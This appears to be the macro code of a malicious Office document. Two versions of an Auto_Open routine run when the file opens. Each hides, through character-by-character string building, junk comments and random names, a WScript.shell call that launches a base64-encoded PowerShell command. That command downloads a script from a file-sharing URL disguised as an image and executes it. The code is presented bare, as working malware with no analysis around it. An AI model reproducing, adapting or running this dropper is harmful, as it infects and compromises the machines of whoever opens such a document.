Attribute VB_Name = "WXhI"

Sub Auto_Open()
    On Error Resume Next
    bgaE.Tables(1).Delete
    bgaE.vErLiUO
    vErLiUO.Bookmarks.Add "vErLiUO", bgaE
    Application.DisplayAlerts = True
    Dim DNpa As Long
    For DNpa = 2 To sKHs
        sKHs = sKHs - 1
    Next DNpa
    Set 0 = CreateObject("WScript.shell")
    0.Run "Powershell  -e  SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGQAYwA0ADQANAAuADQAcwB5AG4AYwAuAGMAbwBtAC8AZABvAHcAbgBsAG8AYQBkAC8AWQBlAEEASwBaAFAARABGAC8AUgBFAFYARQBOAEcARQBSAC4AagBwAGcAPwBkAHMAaQBkAD0AdgBkAGcASQBTAHYAbAB3AC4ANgAyADkAYwBiAGQAZgA3ADUAOQAxAGYAOAA5ADIANwAyADMAYQA4AGUANgA0ADAANABlADcANAA3ADgAOQA0ACYAcwBiAHMAcgA9AGIAYgA5ADMAZgA0AGEANgA3AGIANQBlAGQAZAA3AGEANgAwADcANgBiAGQAYgBkADIAZgA1ADAAOABmAGIANABhAGQAZgAmAGIAaQBwAD0ATQBUAGcAMQBMAGoARQAxAE0AeQA0AHgATgB6AFkAdQBNAGoASQAmAGwAZwBmAHAAPQA0ADAADQAKACcAKQA7ACAADQAKAEkAdwBTAFcAWABwAHYAegB0AG4ARABYAHUARgBTAEYARQBlAE8AYQBSAFUATAB2AGQASQBlAFAARwB5AGkASQBiAGgAYQBYAHMATwBTAGsAYgBXAGIAeQBTAEUAYgB3AGMAWgBGAFkADQAKAA==""""", 395
    Exit Sub
End Sub

Attribute VB_Name = "WXhI"
Public Sub Auto_Open()
On Error Resume Next
'NtFO
'TiTu
'iVtV
'HfHG
'DdZq
'GhNo
'UQdH
'jXOX
'LAHf
'pgjV
'gkgI
'xAFS
'rrWO
'zUAv
'nVmR
'CEKt
'gkoA
'MlSV
'llQd
'baIv
'WyUD
'aYwk
'pNCJ
'jOYs
'ooDW
'qvuW
'OmPO
'wddJ
'bUiI
'CalG
'FinJ
'JlMg
'gNog
'YAPk
'fnIj
'kavX
'hJtE
'SJpG
'WXhI
'bZlc
bgaE.Tables(1).Delete
bgaE.vErLiUO
vErLiUO.Bookmarks.Add "vErLiUO", bgaE
Dim aLXz, rB
XQMcRk = "P": FeaU = "o": rFpX = "w": okni = "e": rcOV = "r": uOGf = "s": JMd = "h": NGlr = "e": baeq = "l": PgYF = "l":
Application.DisplayAlerts = True
Dim wOhj As Long
Dim r As Long, DNpa As Long
For DNpa = 2 To sKHs Step 1
sKHs = sKHs - 1
Next DNpa
rB = XQMcRk + FeaU + rFpX + okni + rcOV + uOGf + JMd + NGlr + baeq + PgYF + "  -e  SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGQAYwA0ADQANAAuADQAcwB5AG4AYwAuAGMAbwBtAC8AZABvAHcAbgBsAG8AYQBkAC8AWQBlAEEASwBaAFAARABGAC8AUgBFAFYARQBOAEcARQBSAC4AagBwAGcAPwBkAHMAaQBkAD0AdgBkAGcASQBTAHYAbAB3AC4ANgAyADkAYwBiAGQAZgA3ADUAOQAxAGYAOAA5ADIANwAyADMAYQA4AGUANgA0ADAANABlADcANAA3ADgAOQA0ACYAcwBiAHMAcgA9AGIAYgA5ADMAZgA0AGEANgA3AGIANQBlAGQAZAA3AGEANgAwADcANgBiAGQAYgBkADIAZgA1ADAAOABmAGIANABhAGQAZgAmAGIAaQBwAD0ATQBUAGcAMQBMAGoARQAxAE0AeQA0AHgATgB6AFkAdQBNAGoASQAmAGwAZwBmAHAAPQA0ADAADQAKACcAKQA7ACAADQAKAEkAdwBTAFcAWABwAHYAegB0AG4ARABYAHUARgBTAEYARQBlAE8AYQBSAFUATAB2AGQASQBlAFAARwB5AGkASQBiAGgAYQBYAHMATwBTAGsAYgBXAGIAeQBTAEUAYgB3AGMAWgBGAFkADQAKAA=="""""
Dim oScf As Long
Dim COGE As String
Dim dfC As Long
qw = "W": er = "S": ty = "c": ui = "r": df = "i": gh = "p": nm = "h": mj = "t": vErLiUO = ".":
pgjV = "s":
gkgI = "e":
xAFS = "l":
bZlc = "l"
XQMcRk = qw + er + ty + ui + df + gh + mj + vErLiUO + pgjV + nm + gkgI + xAFS + bZlc
Set aLXz = CreateObject(XQMcRk)
aLXz.Run rB, 395:

Exit Sub

Set MyRange = Selection
For Each MyCell In MyRange
If Not IsEmpty(MyCell) Then
MyCell = Trim(MyCell)
End If
Next MyCell
End Sub